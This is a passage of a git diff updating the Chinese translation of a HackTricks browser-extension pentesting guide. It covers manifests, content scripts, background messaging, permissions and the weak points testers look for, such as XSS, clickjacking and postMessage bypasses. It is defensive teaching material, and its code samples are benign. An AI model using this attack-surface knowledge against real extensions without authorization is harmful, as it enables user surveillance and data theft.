diff --git a/pentesting-web/browser-extension-pentesting-methodology/README.md b/pentesting-web/browser-extension-pentesting-methodology/README.md index 3a3078a29..9b75171e4 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -1,22 +1,23 @@ -# 浏览器扩展渗透测试方法论 +# Browser Extension Pentesting Methodology + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +Support HackTricks -支持HackTricks的其他方式: - -- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## 基本信息 -浏览器扩展是用JavaScript编写的,并由浏览器在后台加载。它有自己的[DOM](https://www.w3schools.com/js/js\_htmldom.asp),但可以与其他网站的DOM进行交互。这意味着它可能会危及其他网站的机密性、完整性和可用性(CIA)。 +浏览器扩展是用 JavaScript 编写的,并在后台由浏览器加载。它有自己的 [DOM](https://www.w3schools.com/js/js\_htmldom.asp),但可以与其他网站的 DOM 进行交互。这意味着它可能会危害其他网站的机密性、完整性和可用性(CIA)。 ## 主要组件 @@ -26,29 +27,29 @@ ### **内容脚本** -每个内容脚本直接访问**单个网页的DOM**,因此容易受到**潜在恶意输入**的影响。但是,内容脚本除了能够向扩展核心发送消息外,不具备其他权限。 +每个内容脚本可以直接访问 **单个网页** 的 DOM,因此暴露于 **潜在的恶意输入**。然而,内容脚本除了能够向扩展核心发送消息外,没有其他权限。 ### **扩展核心** -扩展核心包含大部分扩展权限/访问,但扩展核心只能通过[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)和内容脚本与Web内容进行交互。此外,扩展核心无法直接访问主机机器。 +扩展核心包含大部分扩展权限/访问,但扩展核心只能通过 [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) 和内容脚本与网页内容进行交互。此外,扩展核心无法直接访问主机。 ### **本地二进制** -扩展允许本地二进制文件以用户的完整权限**访问主机机器**。本地二进制通过标准的Netscape插件应用程序编程接口([NPAPI](https://en.wikipedia.org/wiki/NPAPI))与扩展核心进行交互,NPAPI被Flash和其他浏览器插件使用。 +扩展允许一个本地二进制文件,可以 **以用户的完全权限访问主机。** 本地二进制文件通过 Flash 和其他浏览器插件使用的标准 Netscape 插件应用程序编程接口 ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) 与扩展核心进行交互。 ### 边界 {% hint style="danger" %} -要获得用户的完整权限,攻击者必须说服扩展将内容脚本中的恶意输入传递给扩展核心,再从扩展核心传递给本地二进制。 +要获得用户的完全权限,攻击者必须说服扩展将恶意输入从内容脚本传递到扩展核心,并从扩展核心传递到本地二进制。 {% endhint %} -扩展的每个组件之间由**强大的保护边界**分隔。每个组件在**单独的操作系统进程**中运行。内容脚本和扩展核心在**沙盒进程**中运行,无法访问大多数操作系统服务。 +扩展的每个组件之间由 **强保护边界** 隔离。每个组件在 **单独的操作系统进程** 中运行。内容脚本和扩展核心在 **沙箱进程** 中运行,这些进程对大多数操作系统服务不可用。 -此外,内容脚本通过**在单独的JavaScript堆中运行**与其关联的网页分离。内容脚本和网页具有**对同一底层DOM的访问权限**,但两者**不会交换JavaScript指针**,从而防止JavaScript功能的泄漏。 +此外,内容脚本通过 **在单独的 JavaScript 堆中运行** 与其关联的网页分离。内容脚本和网页可以 **访问相同的底层 DOM**,但两者 **从不交换 JavaScript 指针**,防止 JavaScript 功能的泄露。 ## **`manifest.json`** -Chrome扩展只是一个带有[.crx文件扩展名](https://www.lifewire.com/crx-file-2620391)的ZIP文件夹。扩展的核心是位于文件夹根目录的**`manifest.json`**文件,该文件指定了布局、权限和其他配置选项。 +Chrome 扩展只是一个带有 [.crx 文件扩展名](https://www.lifewire.com/crx-file-2620391) 的 ZIP 文件夹。扩展的核心是位于文件夹根目录的 **`manifest.json`** 文件,该文件指定布局、权限和其他配置选项。 示例: ```json @@ -83,7 +84,7 @@ Chrome扩展只是一个带有[.crx文件扩展名](https://www.lifewire.com/crx ``` ### `content_scripts` -内容脚本在用户导航到匹配页面时加载,对于我们的情况是任何匹配`https://example.com/*`表达式但不匹配`*://*/*/business*`正则表达式的页面。它们像页面自己的脚本一样执行,并且可以任意访问页面的[文档对象模型(DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)。 +内容脚本在用户**导航到匹配页面**时**加载**,在我们的例子中,任何匹配**`https://example.com/*`**表达式且不匹配**`*://*/*/business*`**正则表达式的页面。它们**像页面自己的脚本**一样执行,并且对页面的[文档对象模型 (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model)具有任意访问权限。 ```json "content_scripts": [ { @@ -98,9 +99,9 @@ Chrome扩展只是一个带有[.crx文件扩展名](https://www.lifewire.com/crx } ], ``` -为了包含或排除更多的URL,也可以使用**`include_globs`**和**`exclude_globs`**。 +为了包含或排除更多的 URL,您还可以使用 **`include_globs`** 和 **`exclude_globs`**。 -以下是一个示例内容脚本,当使用[存储API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)从扩展的存储中检索`message`值时,将在页面上添加一个解释按钮。 +这是一个示例内容脚本,当使用 [存储 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) 从扩展的存储中检索 `message` 值时,将向页面添加一个解释按钮。 ```js chrome.storage.local.get("message", result => { @@ -115,26 +116,26 @@ document.body.appendChild(div); ```
-当单击此按钮时,内容脚本通过利用[runtime.sendMessage() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)向扩展页面发送消息。这是因为内容脚本在直接访问API方面存在限制,`storage`是少数例外之一。对于超出这些例外的功能,消息将发送到内容脚本可以与之通信的扩展页面。 +当点击此按钮时,通过利用 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage) 向扩展页面发送消息。这是由于内容脚本在直接访问 API 方面的限制,`storage` 是少数例外之一。对于超出这些例外的功能,消息会发送到扩展页面,内容脚本可以与之通信。 {% hint style="warning" %} -根据浏览器的不同,内容脚本的功能可能略有不同。对于基于Chromium的浏览器,功能列表可在[Chrome开发者文档](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)中找到,而对于Firefox,[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)是主要来源。\ -值得注意的是,内容脚本可以与后台脚本通信,使其能够执行操作并传递响应。 +根据浏览器的不同,内容脚本的能力可能会略有不同。对于基于 Chromium 的浏览器,能力列表可在 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities) 中找到,而对于 Firefox,[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) 是主要来源。\ +值得注意的是,内容脚本能够与后台脚本进行通信,使其能够执行操作并传递响应。 {% endhint %} -要在Chrome中查看和调试内容脚本,可以从“选项”>“更多工具”>“开发者工具”或按Ctrl + Shift + I打开Chrome开发者工具菜单。 +要在 Chrome 中查看和调试内容脚本,可以通过选项 > 更多工具 > 开发者工具访问 Chrome 开发者工具菜单,或按 Ctrl + Shift + I。 -在显示开发者工具后,应单击**源标签**,然后单击**内容脚本**标签。这样可以观察来自各种扩展的运行内容脚本,并设置断点以跟踪执行流程。 +当开发者工具显示后,点击 **Source tab**,然后点击 **Content Scripts** tab。这允许观察来自各种扩展的运行内容脚本,并设置断点以跟踪执行流程。 ### 注入的内容脚本 {% hint style="success" %} -请注意**内容脚本不是强制性的**,也可以通过**动态注入**脚本并通过**`tabs.executeScript`**在网页中**以编程方式注入**它们。这实际上提供了更多**细粒度控制**。 +请注意,**内容脚本不是强制性的**,也可以通过 **`tabs.executeScript`** **动态** **注入** 脚本并在网页中 **程序化地注入**。这实际上提供了更 **细粒度的控制**。 {% endhint %} -要对内容脚本进行编程注入,扩展需要具有[主机权限](https://developer.chrome.com/docs/extensions/reference/permissions),以便将脚本注入到页面中。这些权限可以通过在扩展的清单中**请求**它们或通过[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)临时获得。 +对于内容脚本的程序化注入,扩展需要对要注入脚本的页面具有 [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions)。这些权限可以通过在扩展的清单中 **请求** 或通过 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) 临时获取。 -#### 示例基于activeTab的扩展 +#### 示例 activeTab 基础扩展 {% code title="manifest.json" %} ```json @@ -155,7 +156,7 @@ document.body.appendChild(div); ``` {% endcode %} -* **点击时注入JS文件:** +* **点击时注入一个JS文件:** ```javascript // content-script.js document.body.style.backgroundColor = "orange"; @@ -168,7 +169,7 @@ files: ["content-script.js"] }); }); ``` -* **点击时注入函数**: +* **在点击时注入一个函数**: ```javascript //service-worker.js - Inject a function function injectedFunction() { @@ -182,7 +183,7 @@ func : injectedFunction, }); }); ``` -#### 具有脚本权限的示例 +#### 示例与脚本权限 ```javascript // service-workser.js chrome.scripting.registerContentScripts([{ @@ -195,17 +196,19 @@ js : [ "contentScript.js" ], // Another example chrome.tabs.executeScript(tabId, { file: "content_script.js" }); ``` -### Content Scripts `run_at` +为了包含或排除更多的 URL,您还可以使用 **`include_globs`** 和 **`exclude_globs`**。 -`run_at`字段控制**何时将JavaScript文件注入到网页**中。首选和默认值为`"document_idle"`。 +### 内容脚本 `run_at` -可能的值包括: +`run_at` 字段控制 **JavaScript 文件何时注入到网页中**。首选和默认值是 `"document_idle"`。 -- **`document_idle`**:尽可能早 -- **`document_start`**:在`css`文件之后,但在构建任何其他DOM或运行任何其他脚本之前。 -- **`document_end`**:在DOM完成后立即,但在加载图像和框架等子资源之前。 +可能的值有: -#### 通过`manifest.json` +* **`document_idle`**:尽可能地 +* **`document_start`**:在任何 `css` 文件之后,但在构建任何其他 DOM 或运行任何其他脚本之前。 +* **`document_end`**:在 DOM 完成后立即,但在子资源(如图像和框架)加载之前。 + +#### 通过 `manifest.json` ```json { "name": "My extension", @@ -230,18 +233,18 @@ runAt : "document_idle", js : [ "contentScript.js" ], }]); ``` -### `背景` +### `background` -内容脚本发送的消息会被**背景页**接收,背景页在协调扩展组件方面起着中心作用。值得注意的是,背景页在整个扩展的生命周期中持续存在,不需要直接用户交互,以隐秘方式运行。它拥有自己的文档对象模型(DOM),可以实现复杂的交互和状态管理。 +由内容脚本发送的消息由**背景页面**接收,背景页面在协调扩展组件中发挥着核心作用。值得注意的是,背景页面在扩展的整个生命周期中持续存在,默默运行而无需直接用户交互。它拥有自己的文档对象模型(DOM),能够实现复杂的交互和状态管理。 -**关键要点**: +**关键点**: -* **背景页角色:** 充当扩展的神经中枢,确保扩展各部分之间的通信和协调。 -* **持久性:** 它是一个始终存在的实体,对用户不可见但对扩展功能至关重要。 -* **自动生成:** 如果未明确定义,浏览器将自动创建一个背景页。这个自动生成的页面将包括扩展清单中指定的所有背景脚本,确保扩展的背景任务无缝运行。 +* **背景页面角色:** 作为扩展的神经中枢,确保扩展各部分之间的通信和协调。 +* **持久性:** 它是一个始终存在的实体,对用户不可见,但对扩展的功能至关重要。 +* **自动生成:** 如果未明确定义,浏览器将自动创建一个背景页面。这个自动生成的页面将包含扩展清单中指定的所有背景脚本,确保扩展的后台任务无缝运行。 {% hint style="success" %} -浏览器自动生成背景页(未明确声明时)的便利性确保了所有必要的背景脚本被集成和运行,简化了扩展的设置过程。 +浏览器在自动生成背景页面(当未明确声明时)所提供的便利,确保所有必要的背景脚本都被集成并正常运行,从而简化了扩展的设置过程。 {% endhint %} 示例背景脚本: @@ -254,9 +257,9 @@ chrome.tabs.create({ url: "https://example.net/explanation" }); } }) ``` -它使用[runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage)来监听消息。当接收到一个`"explain"`消息时,它使用[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)在新标签页中打开一个页面。 +它使用 [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) 来监听消息。当接收到 `"explain"` 消息时,它使用 [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) 在新标签页中打开一个页面。 -要调试后台脚本,您可以转到**扩展详细信息并检查服务工作者**,这将使用后台脚本打开开发者工具: +要调试后台脚本,您可以转到 **扩展详细信息并检查服务工作者,** 这将打开带有后台脚本的开发者工具:
@@ -264,24 +267,24 @@ chrome.tabs.create({ url: "https://example.net/explanation" }); 浏览器扩展可以包含各种类型的页面: -* **操作页面**在单击扩展图标时显示在**下拉菜单**中。 -* 扩展将在**新标签页中加载的页面**。 -* **选项页面**:单击时显示在扩展顶部的页面。在我的情况下,我能够在`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`或单击以下内容中访问此页面: +* **操作页面** 在点击扩展图标时显示在 **下拉菜单中**。 +* 扩展将 **在新标签页中加载的页面**。 +* **选项页面**:此页面在点击时显示在扩展顶部。在之前的清单中,我能够通过 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` 访问此页面或点击:
请注意,这些页面不像后台页面那样持久,因为它们根据需要动态加载内容。尽管如此,它们与后台页面共享某些功能: -* **与内容脚本通信:**与后台页面类似,这些页面可以从内容脚本接收消息,促进扩展内的交互。 -* **访问扩展特定的API:**这些页面可以全面访问扩展特定的API,取决于为扩展定义的权限。 +* **与内容脚本的通信:** 类似于后台页面,这些页面可以接收来自内容脚本的消息,促进扩展内的交互。 +* **访问扩展特定的 API:** 这些页面享有对扩展特定 API 的全面访问,受扩展定义的权限限制。 -### `permissions`和`host_permissions` +### `permissions` & `host_permissions` -**`permissions`**和**`host_permissions`**是`manifest.json`中的条目,将指示浏览器扩展具有哪些权限(存储、位置...)以及在**哪些网页**中。 +**`permissions`** 和 **`host_permissions`** 是 `manifest.json` 中的条目,指示 **浏览器扩展具有哪些权限**(存储、位置等)以及 **在哪些网页上**。 -由于浏览器扩展可能具有如此**特权**,一个恶意的扩展或被入侵的扩展可能允许攻击者**以不同方式窃取敏感信息并监视用户**。 +由于浏览器扩展可能具有如此 **特权**,恶意扩展或被攻击的扩展可能允许攻击者 **以不同方式窃取敏感信息并监视用户**。 -查看这些设置如何工作以及它们如何可能被滥用: +检查这些设置如何工作以及它们如何被滥用: {% content-ref url="browext-permissions-and-host_permissions.md" %} [browext-permissions-and-host\_permissions.md](browext-permissions-and-host\_permissions.md) @@ -289,13 +292,13 @@ chrome.tabs.create({ url: "https://example.net/explanation" }); ### `content_security_policy` -**内容安全策略**也可以在`manifest.json`中声明。如果定义了一个,它可能会**存在漏洞**。 +**内容安全策略** 也可以在 `manifest.json` 中声明。如果定义了内容安全策略,它可能是 **脆弱的**。 浏览器扩展页面的默认设置相当严格: ```bash script-src 'self'; object-src 'self'; ``` -有关CSP和潜在绕过方法的更多信息,请查看: +有关CSP和潜在绕过的更多信息,请查看: {% content-ref url="../content-security-policy-csp-bypass/" %} [content-security-policy-csp-bypass](../content-security-policy-csp-bypass/) @@ -303,7 +306,7 @@ script-src 'self'; object-src 'self'; ### `web_accessible_resources` -为了让网页访问浏览器扩展的页面,例如一个`.html`页面,这个页面需要在`manifest.json`的**`web_accessible_resources`**字段中提及。\ +为了让网页访问浏览器扩展的页面,例如一个`.html`页面,该页面需要在`manifest.json`的**`web_accessible_resources`**字段中提到。\ 例如: ```javascript { @@ -325,39 +328,39 @@ script-src 'self'; object-src 'self'; ``` chrome-extension:///message.html ``` -在公共扩展中,**扩展ID是可访问的**: +在公共扩展中,**extension-id 是可访问的**:
-尽管如此,如果使用`manifest.json`参数**`use_dynamic_url`**,这个**ID可以是动态的**。 +不过,如果使用 `manifest.json` 参数 **`use_dynamic_url`**,则该 **id 可能是动态的**。 {% hint style="success" %} -请注意,即使在这里提到了一个页面,由于**内容安全策略**的保护,可能会**防止点击劫持**。因此,在确认可能存在点击劫持攻击之前,您还需要检查它(frame-ancestors部分)。 +请注意,即使此处提到某个页面,它也可能由于 **内容安全策略** 而 **受到 ClickJacking 保护**。因此,在确认 ClickJacking 攻击是否可能之前,您还需要检查它(frame-ancestors 部分)。 {% endhint %} -允许访问这些页面会使这些页面**潜在易受点击劫持攻击**: +允许访问这些页面使这些页面 **可能容易受到 ClickJacking 攻击**: {% content-ref url="browext-clickjacking.md" %} [browext-clickjacking.md](browext-clickjacking.md) {% endcontent-ref %} {% hint style="success" %} -只允许这些页面由扩展加载,而不是由随机URL加载,可以防止点击劫持攻击。 +仅允许这些页面由扩展加载,而不是由随机 URL 加载,可以防止 ClickJacking 攻击。 {% endhint %} {% hint style="danger" %} -请注意,来自**`web_accessible_resources`**和扩展的其他页面也能够**联系后台脚本**。因此,如果其中一个页面容易受到**XSS**攻击,可能会打开更大的漏洞。 +请注意,**`web_accessible_resources`** 中的页面和扩展的其他页面也能够 **联系后台脚本**。因此,如果这些页面中的一个容易受到 **XSS** 攻击,它可能会打开更大的漏洞。 -此外,请注意,您只能在iframe中打开**`web_accessible_resources`**中指定的页面,但是从新标签页中,只要知道扩展ID,就可以访问扩展中的任何页面。因此,如果发现滥用相同参数的XSS,即使页面未配置在**`web_accessible_resources`**中,也可能会被滥用。 +此外,请注意,您只能在 iframe 中打开 **`web_accessible_resources`** 中指示的页面,但从新标签页可以访问扩展中的任何页面,只需知道扩展 ID。因此,如果发现 XSS 利用相同参数,即使页面未在 **`web_accessible_resources`** 中配置,也可能被利用。 {% endhint %} ### `externally_connectable` -根据[**文档**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable),`"externally_connectable"`清单属性声明了**哪些扩展和网页可以通过[runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect)和[runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)与您的扩展连接**。 +根据 [**文档**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable),`"externally_connectable"` 清单属性声明 **哪些扩展和网页可以通过** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 和 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) 连接到您的扩展。 -* 如果在您的扩展清单中**未**声明**`externally_connectable`**键,或者声明为**`"ids": ["*"]`**,**所有扩展都可以连接,但没有网页可以连接**。 -* 如果指定了**特定的ID**,例如`"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`,**只有这些应用程序**可以连接。 -* 如果指定了**匹配项**,这些Web应用程序将能够连接: +* 如果在扩展的清单中 **未声明 `externally_connectable`** 键或声明为 **`"ids": ["*"]`**,**所有扩展都可以连接,但没有网页可以连接**。 +* 如果指定了 **特定 ID**,如 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`,**只有这些应用程序**可以连接。 +* 如果指定了 **匹配项**,这些网页应用将能够连接: ```json "matches": [ "https://*.google.com/*", @@ -365,27 +368,27 @@ chrome-extension:///message.html ``` * 如果指定为空:**`"externally_connectable": {}`**,则没有应用程序或网页能够连接。 -这里指定的**扩展和 URL 越少**,**攻击面就越小**。 +这里指示的**扩展和URL越少**,**攻击面就越小**。 {% hint style="danger" %} -如果一个易受 XSS 或接管攻击的网页在 **`externally_connectable`** 中被指定,攻击者将能够直接向后台脚本发送消息,完全绕过内容脚本及其 CSP。 +如果在**`externally_connectable`**中指示了**易受XSS或接管攻击的网页**,攻击者将能够**直接向后台脚本发送消息**,完全绕过内容脚本及其CSP。 -因此,这是一个**非常强大的绕过方式**。 +因此,这是一个**非常强大的绕过**。 -此外,如果客户端安装了一个恶意扩展,即使它不被允许与易受攻击的扩展通信,它也可以在允许的网页中注入 XSS 数据,或者滥用 **`WebRequest`** 或 **`DeclarativeNetRequest`** API 来操纵针对特定域的请求,修改页面对 **JavaScript 文件** 的请求(请注意,目标页面上的 CSP 可能会阻止这些攻击)。这个想法来自[**这篇文章**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。 +此外,如果客户端安装了一个恶意扩展,即使它不被允许与易受攻击的扩展通信,它也可能在**允许的网页中注入XSS数据**,或滥用**`WebRequest`**或**`DeclarativeNetRequest`** API来操纵目标域上的请求,改变页面对**JavaScript文件**的请求。(请注意,目标页面上的CSP可能会阻止这些攻击)。这个想法来自[**这篇文章**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。 {% endhint %} -## 通信摘要 +## 通信总结 -### 扩展 <--> Web 应用程序 +### 扩展 <--> WebApp -为了在内容脚本和网页之间进行通信,通常会使用消息传递。因此,在 Web 应用程序中,通常会找到对函数 **`window.postMessage`** 的调用,而在内容脚本中会找到类似 **`window.addEventListener`** 的监听器。但请注意,扩展也可以**与 Web 应用程序发送 Post Message 进行通信**(因此 Web 应该期望这种情况发生),或者只是让 Web 加载一个新脚本。 +在内容脚本和网页之间,通常使用后续消息进行通信。因此,在网页应用程序中,您通常会找到对函数**`window.postMessage`**的调用,而在内容脚本中则有像**`window.addEventListener`**这样的监听器。然而,请注意,扩展也可以**通过发送Post Message与网页应用程序通信**(因此网页应该预期到这一点),或者只是让网页加载一个新脚本。 -### 扩展内部 +### 在扩展内部 -通常会使用函数 **`chrome.runtime.sendMessage`** 在扩展内部发送消息(通常由 `background` 脚本处理),为了接收和处理消息,会声明一个监听器调用 **`chrome.runtime.onMessage.addListener`**。 +通常使用函数**`chrome.runtime.sendMessage`**在扩展内部发送消息(通常由`background`脚本处理),为了接收和处理它,声明一个监听器调用**`chrome.runtime.onMessage.addListener`**。 -还可以使用 **`chrome.runtime.connect()`** 杻建立持久连接,而不是发送单个消息,可以使用它来**发送**和**接收** **消息**,就像下面的示例一样: +也可以使用**`chrome.runtime.connect()`**来建立持久连接,而不是发送单个消息,可以用它来**发送**和**接收****消息**,如下例所示:
@@ -416,21 +419,21 @@ console.log("Content script received message from background script:", msg); ```
-还可以通过从后台脚本发送消息到特定标签中的内容脚本,调用 **`chrome.tabs.sendMessage`**,需要指定要发送消息的**标签ID**。 +也可以从后台脚本向位于特定标签页中的内容脚本发送消息,调用 **`chrome.tabs.sendMessage`**,在此需要指明要发送消息的 **标签页ID**。 -### 从允许的 `externally_connectable` 到扩展程序 +### 从允许的 `externally_connectable` 到扩展 -在 `externally_connectable` 配置中允许的**Web应用程序和外部浏览器扩展程序**可以使用以下方式发送请求: +在 `externally_connectable` 配置中允许的 **Web 应用和外部浏览器扩展** 可以使用以下方式发送请求: ```javascript chrome.runtime.sendMessage(extensionId, ... ``` -需要提及**扩展ID**的地方。 +需要提到**扩展 ID**的地方。 ## Web **↔︎** 内容脚本通信 -**内容脚本**运行的环境和主机页面存在的环境是相互**分离**的,确保**隔离**。尽管存在这种隔离,两者都能与页面的**文档对象模型(DOM)**进行交互,这是一个共享资源。为了使主机页面能够与**内容脚本**进行通信,或者间接地通过内容脚本与扩展进行通信,需要利用双方都可以访问的**DOM**作为通信渠道。 +**内容脚本**操作的环境与主机页面存在**分离**,确保**隔离**。尽管存在这种隔离,双方都能够与页面的**文档对象模型 (DOM)** 进行交互,这是一个共享资源。为了使主机页面能够与**内容脚本**进行通信,或通过内容脚本间接与扩展进行通信,必须利用双方都可以访问的**DOM**作为通信通道。 -### 发送消息 +### 后续消息 {% code title="content-script.js" %} ```javascript @@ -461,15 +464,15 @@ window.postMessage( ``` {% endcode %} -安全的Post Message通信应该检查接收到的消息的真实性,可以通过以下方式进行检查: +安全的 Post Message 通信应检查接收到消息的真实性,这可以通过以下方式进行检查: -- **`event.isTrusted`**:只有在事件由用户操作触发时才为True -- 内容脚本可能只有在用户执行某些操作时才期望收到消息 -- **来源域**:可能只允许白名单中的域发送消息 -- 如果使用正则表达式,请非常小心 -- **来源**:`received_message.source !== window` 可用于检查消息是否来自内容脚本正在监听的**同一窗口**。 +* **`event.isTrusted`**:只有当事件是由用户操作触发时,这个值才为 True +* 内容脚本可能只在用户执行某些操作时才期待接收到消息 +* **源域**:可能只允许来自白名单域的消息 +* 如果使用正则表达式,请非常小心 +* **来源**:`received_message.source !== window` 可用于检查消息是否来自 **同一窗口**,内容脚本正在监听的窗口 -即使执行了上述检查,仍可能存在漏洞,请在以下页面检查**潜在的Post Message绕过**: +即使执行了上述检查,仍可能存在漏洞,因此请检查以下页面 **潜在的 Post Message 绕过**: {% content-ref url="../postmessage-vulnerabilities/" %} [postmessage-vulnerabilities](../postmessage-vulnerabilities/) @@ -477,7 +480,7 @@ window.postMessage( ### Iframe -另一种可能的通信方式是通过**Iframe URLs**,您可以在以下示例中找到: +另一种可能的通信方式可能是通过 **Iframe URLs**,您可以在以下位置找到示例: {% content-ref url="browext-xss-example.md" %} [browext-xss-example.md](browext-xss-example.md) @@ -485,9 +488,9 @@ window.postMessage( ### DOM -这并不是“确切地”一种通信方式,但是**web和内容脚本将可以访问web DOM**。因此,如果**内容脚本**从中读取一些信息,**信任web DOM**,则web可能会**修改这些数据**(因为不应信任web,或者因为web容易受到XSS攻击),从而**危及内容脚本**。 +这并不是“确切的”通信方式,但 **网页和内容脚本将可以访问网页 DOM**。因此,如果 **内容脚本** 从中读取某些信息,**信任网页 DOM**,网页可能会 **修改这些数据**(因为网页不应被信任,或因为网页易受 XSS 攻击)并 **危害内容脚本**。 -您还可以在以下示例中找到一个**基于DOM的XSS示例来危及浏览器扩展**: +您还可以在以下位置找到 **基于 DOM 的 XSS 以危害浏览器扩展** 的示例: {% content-ref url="browext-xss-example.md" %} [browext-xss-example.md](browext-xss-example.md) @@ -495,11 +498,11 @@ window.postMessage( ## 内容脚本 **↔︎** 后台脚本通信 -内容脚本可以使用函数[**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **或** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 发送**一次性可序列化为JSON**的消息。 +内容脚本可以使用 [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **或** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 发送 **一次性 JSON 可序列化** 消息。 -要处理**响应**,请使用返回的**Promise**。尽管出于向后兼容性考虑,仍然可以将**回调函数**作为最后一个参数传递。 +要处理 **响应**,请使用返回的 **Promise**。尽管为了向后兼容,您仍然可以将 **回调** 作为最后一个参数传递。 -从**内容脚本**发送请求如下所示: +从 **内容脚本** 发送请求的方式如下: ```javascript (async () => { const response = await chrome.runtime.sendMessage({greeting: "hello"}); @@ -507,7 +510,7 @@ const response = await chrome.runtime.sendMessage({greeting: "hello"}); console.log(response); })(); ``` -从**扩展程序**(通常是**后台脚本**)发送请求。发送消息到所选标签中的内容脚本的示例: +从**扩展**发送请求(通常是**后台脚本**)。以下是如何向选定标签页中的内容脚本发送消息的示例: ```javascript // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script (async () => { @@ -517,7 +520,7 @@ const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"}); console.log(response); })(); ``` -在**接收端**,您需要设置一个[**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **事件监听器**来处理消息。无论是来自内容脚本还是扩展页面,设置方式都是一样的。 +在**接收端**,您需要设置一个 [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **事件监听器** 来处理消息。这在内容脚本或扩展页面中看起来是一样的。 ```javascript // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js chrome.runtime.onMessage.addListener( @@ -530,41 +533,41 @@ sendResponse({farewell: "goodbye"}); } ); ``` -在所示示例中,**`sendResponse()`** 以同步方式执行。要修改`onMessage`事件处理程序以异步执行`sendResponse()`,必须加入`return true;`。 +在突出显示的示例中,**`sendResponse()`** 是以同步方式执行的。要修改 `onMessage` 事件处理程序以异步执行 `sendResponse()`,必须加入 `return true;`。 -一个重要的考虑因素是,在设置多个页面接收`onMessage`事件的情况下,**第一个执行`sendResponse()`** 的页面将是唯一能够有效传递响应的页面。对于同一事件的任何后续响应将不被考虑。 +一个重要的考虑是,在多个页面设置为接收 `onMessage` 事件的情况下,**第一个执行 `sendResponse()`** 